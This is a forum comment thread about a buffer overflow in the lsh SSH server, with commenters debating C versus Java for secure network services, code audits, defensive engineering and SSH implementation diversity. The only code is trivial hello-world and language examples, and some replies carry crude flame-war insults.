I can understand it from someone new to programming, but if it's going to be something that is touted as being secure, that should be the first consideration in every line of code. Especially if it's something that allows deep access into the system.

I realize that such an undertaking is herculean, but that is what we, as programmers, should shoot for every time.

Re:Telnet

[Anonymous Coward]

Why is this moderated "troll"? He makes valid points.

Re:Telnet

[DA-MAN]

Good one there, secure telnet has yet to show any weekness. Good ol standard SSL wrapping telnet is an unbeatable match. But most people don't have this client lying aorund anywhere and thus use ssh because of convenience.

Personally I agree, secure telnet is better.

Re:Telnet

[__past__]

number of security flaws that have been discovered in qmail (for those sleeping at the back of the class: zero)

Number of security flaws acknowledged by DJB, you mean? It might hurt your religious feelings, but even the holy qmail is not perfect.

Re:Telnet

[Anonymous Coward]

I had a friend who felt this way.

He finally saw my viewpoint when his box got owned 'cause a trojan on his laptop sniffed his root password.

In other words, are you REALLY sure your LAN isn't compromised? Every?

Some of us are paranoid... and sometimes, it pays off.

Re:Telnet

[Spy Hunter]

Time and time again, it has been proven that software written in C will be insecure. If you don't take extraordinary precautions which are far too inconvenient for most programmers to accept, you *will* have security holes in a network service written in C. And if you do take those precautions, they will interfere with the goal of providing a feature-rich, modern, up-to-date piece of software. Why oh why hasn't there been a move toward writing network services in languages which make most common kinds of security holes impossible? A SSH server written in Java will have zero buffer overflows. Nada. Zilch. It won't have any double-free bugs, or stack-smashing attacks of any kind. That way, developers can focus on fixing the logic bugs and implementing new features.

It's very easy to understand. If you write your server in a language that prevents several common sources of root exploits, then the number of root exploits present in your code will be dramatically reduced. I would definitely be willing to put up with a server that was twice as slow if it had no possibility of buffer overflows, ever.

Re:Telnet

[Bronster]

In addition, a fix was checked in within four hours. 14 hours later, exploit code was posted to SecurityFocus, in the afternoon. Any admin who checked the lsh mailing list in the morning would have seen the error and the fix, and been well ahead of the exploit.

#include <standard f&*(ing merkin who thinks the world is all merkia>

Re:Telnet

[Richard_Davies]

> Sometimes those bugs are dangerous (as in buffer
> overflows), but if you look at your average piece
> of source code long enough -- source of ANY number
> of lines -- I bet you can find a bug in it.

Oh yeah?! Go on then:

printf("hello world\n");

Re:Telnet

[Nickus]

Is there a compiler that actually would compile that?

Re:Telnet

[jareds]

Number of security flaws acknowledged by DJB, you mean? It might hurt your religious feelings, but even the holy qmail is not perfect.

Although that page does list various bugs and idiosyncratic, intentional RFC violations by DJB, it is still quite noteworthy that the only security issues involve resource exhaustion and delayed bounces, and the resource exhaustion attack can be fixed with ulimit. One could have left qmail running on a box 4 years ago, and it would not be compromised today, and if someone could reboot it if DOS'd, it would still be working properly. The same can be said for very few other network services.

Re:Telnet

[the uNF cola]

Too bad php sux0rs and prolly should be replaced by ruby or anything else.

Re:Telnet

[cbcbcb]

At least 2 bugs in your hello world:
a) you don't check the return code of printf
b) it's not internationalized

Re:Telnet

[stesch]

The "more eyes" mantra doesn't cut it.

Some eyes have seen the OpenSSH source. They're all blind now.

OK, counting gotos isn't a good method to test software quality. But have to seen how the 313 gotos in the last release of OpenSSH are used? Take a look at servconf.c and start crying.

Not to mention the use of many integer literals.

Re:Telnet

[Idolatre]

The must obvious problem is that programmers are still using low level languages (C) to do high level stuff. Why would you need low level access to the hardware in a program that takes a shell's input/output streams, encrypts it and transmits it over a network? Languages like Java would do that job as well, with similar performance (excluding startup time, which is negligible for daemon applications). Bugs like buffer overflows or memory allocation/deallocation errors can't be exploited in Java applications the same way as in C applications (unless the JVM itself which is written in a lower level, less safe language, has such a bug).

As long as unsafe languages will be used where they are not needed, bugs like these will continue to be discovered frequently.

Re:Telnet

[unshaven23]

On the other hand, what was that Java interpreter (oh excuse me, "environment") written in? Think that that thing is bugfree? What about speed?

Imagine a world where everyone runs everything java... Now imagine today. Wow, that pentium 4 seems awfully fast now if I compare it to your utopia.

Re:Telnet

[AxelTorvalds]

I full heartedly agree. For home use and most small things the whole find the problem, patch it quick and upgrade system works really well. The code is getting much better but if you're deploying a producting system in an important business environment it's not always so easy. For real production stuff you've probably been safer with telnet instead of ssh over the last few years because the weaknesses of most telnet deamons require sniffing which is a solvable problem in other ways and it's much harder for your script kiddies to just sniff an arbitrary connection. Worse, the OpenSSH stuff that has happened has shown how we need a more layered approach, OpenSSH has failed and people got root access, not shell access but they got remote root, it was a catastrophic failure.

I see this largely as a problem of the integration. If there is an OpenSSL issue, it affects which programs? Apache, OpenSSH, tcpdump (yep, it can use OpenSSL to the decodes) and dozens of others including databases that use SSL for secure connections. Depending on which vintage of the software you are on it potentially means you'll end up updating all of that stuff. RPM and deb fixes a lot of this stuff but I bring it up becuase I've seen the problems happen in the real world. A stupid SSL vuln caused us to update a database which is used for production data, it becomes a risk problem at that point, what's a lower risk the possiblity that someone may use the SSL attack or the possiblity that upgrading the database will be more complex than installing an RPM and require hours and hours of downtime? Once you're making those kinds of tradeoffs you've already lost.

Some opensource secure coding standards and guidelines would be nice and I think they could help cut down on these kinds of problems, they won't fix them but they can help. C and C++ aren't the problems, there are plenty of embedded programs that don't have those problems and they use different coding strategies and practices. You have to have a complete knowledge of the system to do secure coding. Java based daemons is kind of a solution but it ties us to a vendor and it's really heavy handed and takes a lot of memory to perform, worse it's not a small undertaking and Tomcat and JBoss have had some terrible security problems also. We end up trading one class of problems for a different set.

I just scanned the OpenBSD site and did a quick google, no OpenBSD secure coding standards and guidelines document exists... We need something like that, we already have groups doing audits and some very very good people doing them like Solar Designer and Theo de Raadt. What are they doing and looking for? Why isn't there a document for OpenBSD that explains why it's supposed to be more secure? If we came up with some good standards and practices for the whole community to emulate we'd be much better off.

Re:Telnet

[Josh Booth]

Or you could use SIMPLE: the Sheer Idiot's Monopurpose Programming Language Environment.

$ fortune -m SIMPLE

And I quote "...[SIMPLE] was designed to make it impossible to write code with errors in it. The statements are, therefore, confined to BEGIN, END, and STOP. No matter how you arrange the statements, you can't make a syntax error."

I think we have a solution to all our bug problems!

Re:Telnet

[Cyrus Dogstar]

That's a good point; however, my understanding is that one of the primary reasons people write in C (other than personal preference and/or just because everything ELSE in UNIX is written in C) is because of the control and the potential for speed. C's low-level aspects and lack of 'safety' features do certainly lead to buffer overflows and their ilk; but they also mean that a piece of network software written in C can run *much faster* than can apps written in just about any other language.

Especially compared to Java; while I understand that Java is not *necessarily* always as slow as many people like to bash it for being, it's still dog-slow compared to C. I'm not sure how well it would hold up providing a heavy-load service on a busy server...

Re:Telnet

[antiMStroll]

These bugs are killing us.

They are? Point out where. Show us the bilions in damage caused by this lsh exploit. Where is the I Love You -level havoc caused by a single OSS exploit? Truly the worst kind of MS troll moderated up by the MS kiddies who love to hate OSS.

Re:Telnet

[groomed]

Sigh. The language card again. OK.

Java. Won't have any double-free bugs or stack-smashing attacks. But offers great potential for deadlock bugs due to the braindead IO model. And explodes in out of memory situations -- not unlikely given the tens or hundreds of MBs the Java runtime consumes. Further exacerbated by the ease with which memory is leaked. Then there are the subtle but devastating differences between the various Java runtimes. As well as the fact that the same isolationist principles that make Java immune to buffer overflows also make it very hard to interact meaningfully with the file system (ever tried setting creation dates on a file? ownership?).

Yeah. Java.

Re:Telnet

[mcrbids]

Good software !== no bugs ever.

Just like good posts don't require logical operators that actually exist.

Ahh, but this logical operator DOES exist... perfectly valid under PHP, where it means that it's not the same value and type.

EG:
$a=1;
$b='1';

if ($a!==$b)
echo 'fubar';

The program would output fubar since the numeric 1 is not the same type as the string '1'.

A common mistake of inexperience is to conclude that if you don't know it, it doesn't exist or is untrue.

-Ben

Re:Telnet

[Anonymous Coward]

Yes it costs money to code all those extra checks, but that's what engineers do in most other disciplines.

At risk of earning the flamebait mod, I'll go so far as to say that *that* is what real engineers do, regardless of discipline. (So then, is a software coder who calls himself an engineer and doesn't consider the extra safety factors in his code truly an "engineer"?)

Re:Telnet

[groomed]

make it very hard to interact meaningfully with the file system

Crap. That should be, "make it very hard to interact meaningfully with the system period".

Re:Telnet

[slide-rule]

I'm almost in your cheering section here. Granted, I don't really write network service code for any sort of a living, but I have toyed with a private utility for my home network and coded it in Java. It was fairly low-feature, and mostly borrowed from various online postings from guru's and whatnot... and after running the service daemon on Linux box "A", it would reliably proceed to completely hang the box (*completely*) requiring nothing less than a power-switch reboot. I felt a little betrayed. Granted, the problem probably isn't/wasn't in the language specification, but on some implemetation of the linux runtime environment, but what do I care about that? I lost part of a filesystem one time when it locked up at a particularly bad time. (Like there's a good time, I guess. ;) End-user perspective: it simply didn't work. Sun seemed uninterested in the problem as it took a few days to have a chance for this to happen. Arguably, some work needs to happen on the JRE to increase reliability. Wanna guess what language *that* is in? Ironic, in its way.

Re:Telnet

[Anonymous Coward]

Java [...] explodes in out of memory situations. [...] Then there are the subtle but devastating differences between the various Java runtimes. As well as the fact that the same isolationist principles that make Java immune to buffer overflows also make it very hard to interact meaningfully with the [...] system (ever tried setting creation dates on a file? ownership?).

These problems don't occur, when using GCJ. This is a part of the GNU Compiler Collection, that compiles Java code directly in machin code. With GCJ it's possible to mix Java and C/C++-Code nearly seamlessly. So the security relevant things can be written in Java, the rest can be written in pure C/C++-Code.

For the compiler backend there is no difference if you give it Java or C++-Code, it produces pure machine code. The only difference is, that if you feed it with Java sources, you are not able to program in an insecure way. E.g. it will automatically add to every buffer access the neccessary boundary checks. When fed with C-Sources, there are not enough meta informations to add these kinds of checks.

Re:Telnet

[Nucleon500]

In this case, the "many eyes" mantra did cut it. Obviously, it's a bad thing that the bug existed in the first place. But one of those many eyes found the bug, and it was quickly fixed, and everyone was notified.

Consider what would happen if the same bug existed in closed source software. First, it's less likely that the bug would have been found, so the software would remain insecure longer. If someone at the company found the bug, there's no assurance that they'd fix it immediately; it's possible they'd wait until the next service pack, to hide the fact that it ever existed. If a cracker exploited the bug, they'd probably fix it more quickly and be more honest about it's existance, but the damage would have already been done.

This is one instance where the OSS model worked better. Now, if only it could squelch those bugs in the first place.

Re:Telnet

[Elladan]

E.g. it will automatically add to every buffer access the neccessary boundary checks. When fed with C-Sources, there are not enough meta informations to add these kinds of checks.

Yes there are.

There's nothing in the C language spec that requires your compiler to permit buffer overflows or heap attacks, and indeed it's possible to disallow them at runtime.

Nobody does it, of course, because it adds a lot of overhead and, in the case of GC, less control. Well, that and, since nobody does it, the tools to do it aren't very mature.

Re:Telnet

[Anonymous Coward]

Perhaps, but PHP seriously eats the cock.

Pass the cock please.

Re:Telnet

[Anonymous Coward]

A common mistake of inexperience is to conclude that if you don't know it, it doesn't exist or is untrue. ...and our lucky finalist for "snobbed up elitist self-important wanker", ladies and gentlemen!

Re:Telnet

[Anonymous Coward]

It's not enough that it's written in Java -- it must be compiled with flags asking for bounds checking, or run in a virtual machine.

Re:Telnet

[bratmobile]

Soooooooo... it "makes us stronger!" when it happens to GNU/Linux/whatever code, but when it happens to Windows/Microsoft code, they're stabbing us in the eye...?

What bullshit.

Re:Telnet

[zCyl]

It was a product of defensive engineering, and software containing the inevitable bugs can be made much safer by taking a defensive approach to programming. It's better not to have an out-of-bounds situation at all, but that's no reason not to do bounds-checking wherever an OOB might pose a hazard. Yes it costs money to code all those extra checks, but that's what engineers do in most other disciplines.

Exactly. And the only reason this is different with bridges is because people don't ACCEPT bridges falling, we consider it a tragedy, so we're willing to accept the amount of resource investment it takes to make the bridge stable with redundant defensive systems. And it's precisely this reason that we need to get rid of the attitude that having security holes in software is acceptable and unavoidable. (Thus, the above post not being a troll post.)

Materials have defects, so engineers got used to compensating for this with redundant systems, and the end result is a structure which is typically stable and fault tolerant. Programmers look at code as exact, so they think they should fix the problem by getting rid of the defects, but this makes the arrogant assumption that we're smart enough to spot every defect just by looking. This needs to be changed to the assumption that the best programmers will make mistakes and introduce defects, and therefore these defects should be compensated for defensively.

Re:Telnet

[j3110]

I didn't want to do it yet, but I think I'm going to start running j2ssh. I don't know how stable it is at this point, does anyone know? I'll run it on different port and test it for a while I guess.

You can get the LGPL SSH2 server/client written in Java from http://3sp.com/products/sshtools/sshtools.php

Re:Telnet

[Anonymous Coward]

Um, how do you think this problem was spotted?

That's not the point. How long was the hole there before it was fixed ? How could the software have been designed differently to avoid such errors ? Are there any automated checks that could be made to prevent such errors in the future ?

Are those questions seriously being asked, or is finding holes after they've been available to hax0rs for months (not necessarily in the case of this bug, but in several other cases) good enough ?

If the only defense you have is the million-eyes effect, perhaps you should think about adding a few more.

Re:Telnet

[Anonymous Coward]

Finding the bugs might make the code stronger. Having them doesn't. If you could make a bug free piece of code, the lack of bugs to fix certainly wouldn't make you or your code weaker.

Re:Telnet

[Anonymous Coward]

a) Sure, but what's the worst that could happen if that failed?
b) That's a feature.

Re:Telnet

[Anonymous Coward]

This comment is pointless since the java vm is done in C. No languague is secure by default, for those who think java is a security wall protecting your machine with miracles, read the this pdf: http://www.lsd-pl.net/documents/javasecurity-1.0.0 .pdf

Re:Telnet

[eht]

So the solution is to read every mailing list in existence to get a jump on the script kiddies?

Who knows, the Ladies Home Journal mailing list might have a bugfix for your ovens remote root exploit.

And this is a weekend, so that does a lot of good for people who actually take the weekend off.

Re:Telnet

[Anonymous Coward]

Improper capitalization. ;-)

Re:Telnet

[Istealmymusic]

No. It always makes us stronger, whether "us" is OSS or Microsoft.

Re:Telnet

[Anonymous Coward]

Perhaps, but PHP seriously eats the cock.

Pass the cock please.

Mmmmm, cock...

Re:Telnet

[Pretzalzz]

They also inspect bridges once a year to see if there are any problems. Recently, a bridge near me was closed for a couple of months because this inspection turned up a large crack that needed emergency maintaince. I don't see how this is much different than having to patch software for bugs.

Another bridge near me did fall down a couple of years ago due to flooding.

Re:Telnet

[a1291762]

A SSH server written in Java will have zero buffer overflows.

/me thinks you misunderstand how Java works... You can indeed have a buffer overflow in Java, the only difference is that it causes the VM to crash (unless there's a RuntimeException catch somewhere up the calling chain). A DoS attack on a buggy Java server could be just as bad as a buggy C server.

I've seen firsthand what happens when a random RuntimeException isn't caught. I was involved in a telecommunications software that was programmed in Java. Due to the architecture of the program, an uncaught exception resulted in the program entering a zombie state. There were threads running so the app didn't die. The "watchdog" thread was still running so the app didn't get restarted. However, the processing thread was killed so the app did nothing. The system took around 12 hours before it managed to fall over and restart itself. Due to telco uptime standards, the app is only allowed to be down for an hour a year (or something like that... 99.999% uptime). That single flaw would have completely ruined our uptime claim if it had got into the field.

It's not a case of needing language x over language y, it's a case of using "safe" structures/functions. C++/Java/C# programmers will tend to use List/Collection classes rather than manually sizing and handling arrays. There's no reason why you couldn't use something like Glib to get the same behaviour in a C server.

Re:Telnet

[Spy Hunter]

All of the security holes in that paper are holes in the sandbox that Sun has constructed for running *untrusted* code such as applets. They have absolutely no relevance to trusted code, such as a server you are running on your machine. Yes, the JVM is written in C, but how many buffer overflows do you see in Sun's JVM? I've never even heard of one. Safely executing a well-defined series of bytecodes prepared in advance by a compiler whose job is to output correct instruction sequences is an easier problem than safely accepting arbitrary malicious input from a network connection.

Re:Telnet

[Spy Hunter]

A SSH server written in Java will have zero buffer overflows.

By which I mean, of course, "A SSH server written in Java will have zero buffer overflows that allow you to execute arbitrary code." I'm well aware that Java doesn't prevent DoS attacks. In fact, a Java server would probably be more prone to DoS attacks for several reasons. I consider this a reasonable price to pay for making it impossible to compromise the machine with arbitrary code, which can be much worse than a DoS.

Re:Telnet

[Spy Hunter]

I consider bugs that can only cause a DoS much less bad than bugs which can cause the machine to be compromised. If you DoS a machine, you can't then use it to DoS others, but if you compromise a machine, you *can* use it to compromise others. You can't write a worm using only DoS attacks, you must be able to execute code on the target machines.

As well as the fact that the same isolationist principles that make Java immune to buffer overflows also make it very hard to interact meaningfully with the file system (ever tried setting creation dates on a file? ownership?).

What on earth do these two things have to do with Java's buffer overflow protection? If these things are hard to do in Java, that's because the APIs are badly designed, not because the language itself is secure. These are two totally different issues. It may be the case that Java's APIs are badly designed, but libraries can be replaced.

Re:Telnet

[groomed]

I consider bugs that can only cause a DoS much less bad than bugs which can cause the machine to be compromised.

Then the question becomes: how helpful is defense against stack smashing in preventing exploits, given that most exploits come about through social engineering or bugs at the application level (see VB macros, JavaScript holes)? Because the defense comes at a cost. You can argue that the cost is immaterial, that no cost is too high to prevent even the most innocent and trivial exploit.

That's a reasonable, principled argument, but not one I agree with. I take an economists view. If the estimated cost of an exploit is $25,000, but the cost of a thousand employees running slow, cumbersome software is $50 per employee per year, then the choice is clear. Especially since there is no guarantee that the slow, cumbersome software won't be subject to an exploit!

I'll even admit, shamefully, that I've personally written Java software where, due to a deadlock, a thread that should have been killed for security reasons was never notified of such and kept running. I don't blame Java for that. Maybe I'm just a bad programmer. But that's the whole point: the language's ability to provide application level security is limited. Conversely, also the degree to which a language can be held responsible for security breaches is limited.

What on earth do these two things have to do with Java's buffer overflow protection? If these things are hard to do in Java, that's because the APIs are badly designed, not because the language itself is secure.

Many of the Java security guarantees are derived by isolating programs from the underlying system. That is not a bad approach per se (it's pretty much the definition of an operating system kernel for example). But it does have its limitations. One of them being that you almost always end up with a lowest-common denominator design, through which the systems inherent capabilities cannot fully be excercised.

Re:Telnet

[ajs]

You're not listening. You act as if this sort of thing is new.

Keep in mind that when you say "this is a fairly common mistake", you're speaking more truth than you may realize. This isn't just *common*, it's downright guaranteed. Have a system that works at such a high level that buffer overflows aren't possible? Guess what, your system was written in a language where they ARE. Buffer overflows have been found in Java Virtual Machines, security modules for every major OS, etc, etc.

Why is OpenSSH more useful than the rest of the pack of remote access software now? Because one of those problems has been fixed. Will there be another tomorrow? You bet your sweet ass! That's why you layer your security technologies, but you don't throw out the baby with the bath-water and use something that "has no bugs"... because I'll guarantee that that's because no one has looked closely enough.

Re:Telnet

[brettper]

And don't forget the sunscreen

Re:Telnet

[Anonymous Coward]

god forbid someone refer to events in their own timezone.

oh, I forgot. "merkins" are all no good. just like the jews and blacks.

idiot.

Re:Telnet

[Spy Hunter]

given that most exploits come about through social engineering or bugs at the application level (see VB macros, JavaScript holes)

What are you talking about? VB and Javascript are client-side scripting languages with sandboxes. I'm talking about implementing network services here. Not scripting language sandboxes. Many of the recent Microsoft worms have been made possible by exploits in network services that would not work if Windows was written in Java, and the past few Linux vulnerabilities reported on Slashdot (OpenSSL, sendmail, OpenSSH, this lsh hole) have been the same way.

I realize that Java isn't a magic bullet to eliminate logic bugs from your application or prevent social engineering attacks, but usually buffer overflows and the like in network services are what enable the really damaging, large-scale, automated attacks. If network services were written in Java, a large percentage of today's attacks simply would not work. The benefit would not be negligable as you suggest.

You can argue that [...] no cost is too high to prevent even the most innocent and trivial exploit.

The kinds of exploits that Java prevents are not innocent and trivial, they are the worst possible kinds of exploits; i.e., those that lead directly to code execution. I would argue that the small cost of writing things in Java is more than outweighed by eliminating the most severe, hard-to-find errors that cause the worst security holes.

Re:Telnet

[Bronster]

Hmm, so I guess I am an idiot to follow up to someone who suggested that any sysadmin who "read the security lists in the morning" (with the implication that anyone who didn't do that was an incompentant moron) and suggest that an assumption of timezone is unreasonable.

*sigh* - I'd plonk you, but you're too much of a coward to back up your comments. Yes, people who assume the world is one timezone when it comes to patching are lusers, as are many ACs.

Re:Telnet

[R.Caley]

[Good software !== no bugs ever.]

Why the hell not? Good bridges are the ones that don't fall down.

But that is not the same as the set of bridges with no bugs.

Indeed, I was watching a TV programme about the building of one of the early big New York bridges the other day. Turns out the cables are full of brittle crappy wire substituted by a corrupt contractor. Quite a big bug. The bridge hasn't fallen down because it was designed well, and is still in use.

Engineerign is not about perfection, it is about designing for the real world where shit happens.

Re:Telnet

[groomed]

What are you talking about? VB and Javascript are client-side scripting languages with sandboxes.

My point is that both VB and JS don't allow stack smashing. Still they're at the root of numerous security breaches. The reason of course being that they're embedded in some sort of process: an application or a workflow. It's the flaws in the process that are much more insidious than any flaws in the language.

buffer overflows and the like in network services are what enable the really damaging, large-scale, automated attacks.

How do you know that? By what measure?

I would argue that the small cost of writing things in Java is more than outweighed by eliminating the most severe, hard-to-find errors that cause the worst security holes.

I think you're confusing a couple of things. If the box is your whole world, then yes, the ability to execute arbitrary code is probably the worst thing that can happen. But the box is not an end in itself. It is part of a process. From that perspective it's just a transient blip, one which normal process security should account for anyway, through checks and balances, insurance, backups, hardcopy, double books, periodic reviews, etcetera. The scary part isn't when the box gets hacked. It's when the process gets hacked.

Now I have to be careful. Stack smashing is a big problem. It is not a small or insignificant problem. But there is no solution. Just workarounds and compromises.

Re:Telnet

[anthonyrcalgary]

"Many of the Java security guarantees are derived by isolating programs from the underlying system. That is not a bad approach per se (it's pretty much the definition of an operating system kernel for example). But it does have its limitations. One of them being that you almost always end up with a lowest-common denominator design, through which the systems inherent capabilities cannot fully be excercised."

I think the way you can't write past the bounds of buffers is the primary thing he's talking about.

No reason you couldn't write a library for C to make it do basically the same thing. It would take the form of function calls/macros instead of changing the syntax, but that's okay.

Re:Telnet

[Spy Hunter]

My point is that both VB and JS don't allow stack smashing. Still they're at the root of numerous security breaches.

That's because you download untrusted code and run it in a sandbox! There may be holes in the Java applet sandbox, just like there are holes in the Javascript sandbox. A sandbox is a large, complex thing that is hard to do correctly. But a sandbox for applets is totally irrelevant for trusted application code, which is what a network server is. A hole in the Java applet sandbox has no effect on Java's security as a language for writing servers.

How do you know that? By what measure?

Code Red? Blaster? They were (and still are) huge. If you look at those papers on honeypots that get posted to Slashdot every now and then, you'll see that almost all the exploits used by script kiddies to compromise the honeypot boxes are due to some sort of typical C bug that would be impossible in Java. I don't have any hard numbers here, but certainly you agree that a very significant portion of all attacks today are based on these kinds of bugs.

Stack smashing is a big problem. [...] But there is no solution.

What? Are you sure you're thinking straight? Do you not agree that there are no stack smashing exploits for the JVM? Obviously, stack smashing has a solution, and it is Java. You may not like it for other reasons, but it does prevent stack smashing.

The scary part isn't when the box gets hacked. It's when the process gets hacked.

Having complete control of a box allows you to hack further into the system and disrupt "the process". "The process" should include making it as hard as possible to hack the box in the first place. Java makes it a lot harder.

Re:Telnet

[tflat]

This problem went unnoticed for almost four years, http://lists.lysator.liu.se/pipermail/lsh-bugs/200 3q3/000120.html.
How can you guarantee that no one else had found it first? Not everyone reports bugs, especially ones of this magnitude nor does everyone wear a whitehat.

Re:Telnet

[groomed]

I don't have any hard numbers here, but certainly you agree that a very significant portion of all attacks today are based on these kinds of bugs.

But what's the actual damage? The script kids don't seem to actually do anything with the compromised machines except for whatever it is that the rootkit allows them to do. Then they swagger on IRC. Don't you agree considering the sheer volume of incidences that the actual impact is remarkably small?

"The process" should include making it as hard as possible to hack the box in the first place.

But we've probably become too antagonized. You can have the final word if you wish.

Re:Telnet

[Bob Uhl]

Ummm--things worked perfectly: the bug was found, and fixed. Or do you think that somehow free software will magically be written without bugs?

Creating bugs is easy; finding and fixing them is hard. That's why it's taken so long for the OpenSSH one to be found. As for lsh--it's an also-ran.

Re:Telnet

[Bob Uhl]

A SSH server written in Java will have zero buffer overflows.

It will also have all the speed of a glacier advancing upon the Alps. Yes, in a dozen years maybe Java will be fast enough. It's certainly not there yet. The Freenet Project use Java, and their client is so slow as to be unusable. It could have been just as easily made cross-platform in a real language. Heck, last I checked I believe Squeak has a faster VM than Java.

Yes, we don't write in assembler because 'puters are fast enough to write in C now. We shouldn't write in Java because they're not fast enough for that yet--esp. for numeric calculations such as encryption uses. Actually, we shouldn't write in Java because it sucks as a language. Now, the Lisp-family of languages are excellent, and buffer overflows do not AFAIK occur in them. Perhaps a Common Lisp or Scheme implementation would be good.

Re:Telnet

[Bob Uhl]

Those who are willing to trade liberty for security deserve and will have neither.

DJB's software is not open source and is not free. Also, it uses a perverted installation system. Additionally, there have been exploits reported, just not many. Use postfix instead: truly free (it appears GPL-compatible), backed by IBM, secure, and pleasant to use.

I have to laugh

[kakos]

All the people that were saying that the lsh code just 'looked' better than the OpenSSH code, a word of advice: looks don't mean jack or shit.

I don't know much about the development process of lsh, but I'm betting it doesn't do any security audits like OpenSSH does.

Re:I have to laugh

[Anonymous Coward]

Yeah, and we've seen just how useful those audits of OpenSSH have been.

If it's this bad now, I'm afraid to think of what it'd look like without these "audits".

Re:I have to laugh

[cduffy]

looks don't mean jack or shit.

In code, looks mean quite a lot.

Cleaner, more readable code is easier to audit.
Cleaner, more readable code is easier to bugfix.
Cleaner, more readable code is easier to add features to.
Cleaner, more readable code is simply Good Stuff.

Re:I have to laugh

[zulux]

Cleaner, more readable code is easier to audit.
Cleaner, more readable code is easier to bugfix.
Cleaner, more readable code is easier to add features to.
Cleaner, more readable code is simply Good Stuff.


I think you need to do a bit of re-factoring there. ;)

Re:I have to laugh

[Anonymous Coward]

... and yet, lsh has:

- been around longer than openssh
- fewer features than openssh
- and now has a much bigger vulnerability than openssh

Perhaps those saying the code "looked cleaner" were simply "full of it"?

Certainly "clean code" is useful, but it's certainly not the be-all-and-end-all.

Re:I have to laugh

[cduffy]

Oooh, good call. Fortunately, I've got just the tool for reducing this to its least redundant representation.

S -> 1 a u d i t 2 b u g f i x 2 3 d _ f 4 5 6 7 8 9 10 11 m p l y _ G o 12 _ S 5 f f .
1 -> 10 4 11 13 _ 8 _
2 -> 9 1
3 -> a d
4 -> e a
5 -> t u
6 -> r e
7 -> s _
8 -> t o
9 -> . \n
10 -> C 14 a n 13 , _ m o 6 _ 6 3 a b 14 _ c 12 e _ i 7
11 -> s i
12 -> o d
13 -> e r
14 -> l e

Consider that an object lesson in why denormalization is sometimes a Good Thing. :)

Re:I have to laugh

[SmallFurryCreature]

Hi Mister BSD user. Of course LSH team found their bug purely by random, while the openssh through dilegent code review spotted their bugs right behind each other. (forcing all users to go through two upgrade cycles in quick succession, just bad luck I guess but still annoying)

You see BSD is good and pure, sure nobody is talking about it but then nobody ever talks about good security. Good security goes unnoticed and unapreciated.

Gnu team can not hope to compete, bunch of beared hippies. Why if only they had the skills of bsd developers. Then they would have discovered this bufferoverflow themselves. Told the world about it and how to patch it, risking of course nasty people figuring out how to exploit unpatched machines in the process.

Any person badmouthing openssh or lsh based on events in the past couple of days is a zealot and a moron. Exactly the same thing has happened to both projects, hell they even handled it in the same way.

Oh and one other thing they have in common. I notice that it is not exactly obvious to find WHERE the BUG info is on both sites. And please don't give me on the mailing list crap, how many mailing lists am I supposed to be on anyway? What is wrong with a bit of text on the frontpage. You must use at least version XXXXXX to safely use this product.

The story, project X, found bug in code Y and posted patch Z. Evil crackers on examing patch developed exploit ehm, A. Zealots users unrelated in anyform to either project X or project B laugh at X and say B is so much better for reason C, C being something totally unrelated, untrue. In more extreme cases they will even admit they don't know anything about C. In even more extreme cases admit they are just guessing. They really then on D, even more braindead moderators to nonetheless mark completly unsupported guesses as insightfull.

Story end.

Re:I have to laugh

[spike2131]

!# /bin/python
for ending in {"easier to audit.","easier to bugfix.","easier to add features to.","simply Good Stuff."}:
print "Cleaner, more readable code is " + ending

Re:I have to laugh

[__past__]

Of course LSH team found their bug purely by random

Sort of, actually. The first thing that led to the discovery of this bug was someone being annoyed because of switching to lsh being cited as a solution for the OpenSSH bugs without much thought, and tried to pipe lots of random noise to it, only to see it crash (while OpenSSH simply reported protocol violations). So yes, in a way they found it by random, /dev/random in particular.

Re:I have to laugh

[localman]

Cleaner, more readable code is probably loaded with bugs or lacking in features because it hasn't been around long enough to have all the disgusting hacks and patches applied to it that are required for extended use in the real world.

At least in my experience, anyways.

Cheers!

Re:I have to laugh

[cduffy]

Cleaner, more readable code is probably loaded with bugs or lacking in features because it hasn't been around long enough to have all the disgusting hacks and patches applied to it that are required for extended use in the real world.

What this means is that you haven't spent time in the real world on a programming team with an architect who believes in constant, aggressive refactoring -- and is willing to bully the suits (and the coders, and everyone else) as much as necessary to be sure it gets done.

I'm on such a team. There're ugly hacks in our code, sure -- but they don't last more than a month or so before getting refactored out.

Re:I have to laugh

[Triumph The Insult C]

hear hear.

this is why if you look at the openbsd cvs commit messages, you'll see a number of "KNF" ... style(9) explains it.

Re:I have to laugh

[prockcore]

Cleaner, more readable code is easier to audit.
Cleaner, more readable code is easier to bugfix.
Cleaner, more readable code is easier to add features to.
Cleaner, more readable code is simply Good Stuff.

If your code is anything like your comments, it's neither cleaner nor more readable.

Cleaner, more readable code is easier to audit, bugfix, and add features to. It is simply Good Stuff.

Re:I have to laugh

[cduffy]

Tsk, tsk. Repetition as a means of driving a point home is an established and well-respected tool of debate. The one-line summary doesn't carry the *weight* of the expanded version -- which is precicely the effect I was going for.

Re:I have to laugh

[Anonymous Coward]

Tsk, tsk. You're a cock-sucking fucktard. High school debate team is over, little buddy. Just admit you look like an asshole and move on.

Re:I have to laugh

[JoeBuck]

But the OpenSSH security bug should have been discovered by a code audit. The bug is entirely localized to a small section of code, so a careful reading should have found it. Of course no one's perfect, but the OpenBSD folks might want to look at their procedures and figure out how this bug was missed before. I'm not saying this to take a shot at them, but so that their auditing procedures can be improved.

Still diversity is good.

[Coryoth]

Okay, there's a hole here, that's definitely bad. Still it would be nice if lsh could manage to gain some share of the ssh market. It has worried me for a while that OpenSSH has become the standard, which, unfortunately, creates a monoculture. A monoculture of ssh implementations is as vulnerable to massive infection as a monculture of windows boxes (okay, maybe windows has more holes, but its the massive part I'm concerned with).

If the market on ssh implementations was a little more split, it would be a little more difficult to write a worm that could wreak utter havoc. Repeat after me: Monoculture is bad.

Jedidiah.

Re:Still diversity is good.

[HermesHuang]

Still, I'm not about to choose one implementation over another simply to add diversity. I'm going to pick the one I think is the best. Perhaps the reasons I use are wrong, and I probably don't know all the facts. But I tend to trust OpenSSH more then the other implementations. So I'm going to use OpenSSH. Period. I choose what I do because I don't want to deal with a worm at all. Not because I want to set things up so that when I do get a worm, it's only me and half of the sshd servers out there, rather then all of them. I acknowledge that diversity is good, but it's never going factor into my decisions regarding my security software.

Re:Still diversity is good.

[Anonymous Coward]

Funny thing is, Coryoth is probably using an x86 machine. If he truly practiced the diversity he preaches, he'd be using a different hardware architecture to avoid all the x86 specific buffer overflows and shellcode.

